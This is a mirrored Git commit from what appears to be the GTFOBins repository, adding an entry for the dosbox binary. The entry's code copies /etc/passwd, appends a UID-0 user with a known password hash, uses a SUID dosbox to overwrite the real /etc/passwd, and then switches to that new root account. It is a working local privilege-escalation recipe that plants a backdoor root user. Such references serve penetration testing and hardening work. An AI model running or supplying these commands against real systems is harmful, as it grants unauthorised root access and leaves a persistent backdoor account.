mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Added dosbox.md
This commit is contained in:
parent
1468b6c2bd
commit
4a058f88e1
10
_gtfobins/dosbox.md
Normal file
10
_gtfobins/dosbox.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
SUID:
|
||||||
|
- description: Please change username to whatever you want and passwod is `toor`.
|
||||||
|
code: |
|
||||||
|
cp /etc/passwd /tmp/passwd
|
||||||
|
echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd
|
||||||
|
/usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:"
|
||||||
|
su idealphase
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user